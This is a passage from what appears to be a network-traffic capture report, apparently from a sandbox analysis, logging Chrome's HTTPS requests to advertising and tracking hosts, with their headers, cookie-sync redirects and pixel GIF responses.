2024-05-24 22:46:25 UTC	622	OUT	GET /ecm3?rcode=1&ex=imdb.com HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: A43R4ZM9SRAJRT2TFB1T Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.6	50287	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	463	OUT	GET /ecm3?ex=improvedigitalHMT&id=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: MZ35050HGPPKRECKJZXC Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.6	50293	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	643	OUT	GET /ecm3?ex=connatixHMT&id=OZuBC1poRAKq_qRboEaExQ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:25 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: GFRK4QJC37QCYBMGR1E5 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.6	50289	54.242.45.75	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	528	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1299598 HTTP/1.1 Host: i.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:25 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:25 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:25 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.6	50288	54.242.45.75	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	528	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939 HTTP/1.1 Host: i.liadm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:25 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:25 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:25 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.6	50294	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:25 UTC	593	OUT	GET /engagement/getpixels?gid=15654 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://9749892.fls.doubleclick.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	289	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html Expires: -1 Access-Control-Allow-Origin: * X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:45:56 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.6	50299	54.36.150.187	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	607	OUT	GET /v1/get_user_agent_id?dom_token=amazon-na-23&gdpr=0 HTTP/1.1 Host: cookie-matching.mediarithmics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	219	IN	HTTP/1.1 303 See Other location: /v1/get_or_create?gdpr=0&domid=1109 content-length: 0 date: Fri, 24 May 2024 22:46:26 GMT strict-transport-security: max-age=63072000;includeSubDomains;preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.6	50304	172.64.151.101	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	707	OUT	GET /usermatchredir?s=184155&cb=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dindex%26id%3D__UID__ HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
2024-05-24 22:46:26 UTC	1058	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:26 GMT Content-Length: 0 Connection: close Location: https://s.amazon-adsystem.com/ecm3?ex=index&id=LwMvj4H4odxwUkfweFe5RDc4dU04ZgIC CF-Ray: 8890d25defdc439f-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; Path=/; Domain=casalemedia.com; Expires=Sat, 24 May 2025 22:46:26 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=1322; Path=/; Domain=casalemedia.com; Expires=Thu, 22 Aug 2024 22:46:26 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2FSR4cEqDjrxjMLGCI%2FU4KluvDS%2B5bQORjPRTo5Y4czIO5Jcpta0A3ma13c1usgnTAPHUvj0lUz%2B6zA38IVhCNdPlHQbBLOOXqrPa3SQxXe2UDzTlIddQo2dcm%2FpPyL%2F1sVpx1pbOADPBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.6	50298	35.214.185.183	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	582	OUT	GET /?partner_id=1392&uid=hokN2A8WQ3uw3i8m26RdyQ HTTP/1.1 Host: csync.loopme.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	261	IN	HTTP/1.1 204 No Content set-cookie: viewer_token=5871c5bf-010b-4cbc-a573-8d6b55aa3cc5; path=/; domain=csync.loopme.me; secure; HttpOnly; Expires=Sat, 24-Aug-2024 22:46:26 GMT; SameSite=None date: Fri, 24 May 2024 22:46:26 GMT server: _ connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.6	50306	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	442	OUT	GET /ecm3?ex=indexHMT&id=ZlEYv9HM66QAAATEATLXcQAA HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 0W1NBHJ8MZ3QEF7CFSSK Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.6	50313	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	449	OUT	GET /ecm3?ex=rubiconprojectHMT&id=I97FTHEgRGeEc_KKO6uUGg HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: AR7HMJZ55T5SN0AYFMKE Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.6	50314	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	435	OUT	GET /ecm3?ex=samba.tv&id=13186bcb0db7cd621 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: N40NCE2Y0RBC2MXCFGVV Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.6	50316	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	657	OUT	GET /ecm3?ex=adobe.com&id=15028710952493579300771312513576972253 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 6YG9669Q5WM7X2MTZVAW Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.6	50315	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	453	OUT	GET /ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: VMQP83XJV2XD327KN8SM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.6	50303	35.156.5.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	410	OUT	GET /amazon/pixel.gif?https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= HTTP/1.1 Host: usersync.samplicio.us Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	356	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:26 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Location: https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= Pragma: no-cache X-Ratelimit-Limit: 0 X-Ratelimit-Remaining: 0 X-Ratelimit-Reset: 0 X-Tyk-Trace-Id: 0dc670c0141e438a6d94acfe7cdfc452

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.6	50318	34.160.236.64	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	450	OUT	GET /t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw HTTP/1.1 Host: odr.mookie1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	298	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 42 Last-Modified: Thu, 19 Oct 2023 06:07:48 GMT ETag: "6530c7b4-2a" Accept-Ranges: bytes Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.6	50317	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	422	OUT	GET /ecm3?rcode=1&ex=imdb.com HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:26 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 4DZFR4R391MRTZRSHKN3 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:26 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.6	50297	18.158.246.105	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:26 UTC	645	OUT	GET /Serving?cn=cs&rtu=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsizmek%26id%3D%5B%25tp_UserID%25%5D HTTP/1.1 Host: bs.serving-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:26 UTC	829	IN	HTTP/1.1 302 Redirect Date: Fri, 24 May 2024 22:46:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 365 Connection: close Cache-Control: private Pragma: no-cache Expires: Sun, 05-Jun-2005 22:00:00 GMT Location: https://lm.serving-sys.com/lm/acs?json={"GUID":"f61b9649-e91d-4cf8-896a-9588ddfc6d14","Time":"20240524T224626.554626"}&rtu=https://s.amazon-adsystem.com/ecm3?ex=sizmek&id=[%tp_UserID%] Server: Microsoft-IIS/10.0 Set-Cookie: r1=1716590786_1; SameSite=None; Secure Set-Cookie: eyeblaster=; expires=Mon, 01-Jan-2000 00:00:00 GMT; domain=.serving-sys.com; path=/; SameSite=None; Secure Set-Cookie: u2=f61b9649-e91d-4cf8-896a-9588ddfc6d144Sr060; expires=Sun, 23-Jun-2024 22:46:00 GMT; domain=.serving-sys.com; path=/; SameSite=None; Secure X-Powered-By: ASP.NET P3P: CP="NOI DEVa OUR BUS UNI"
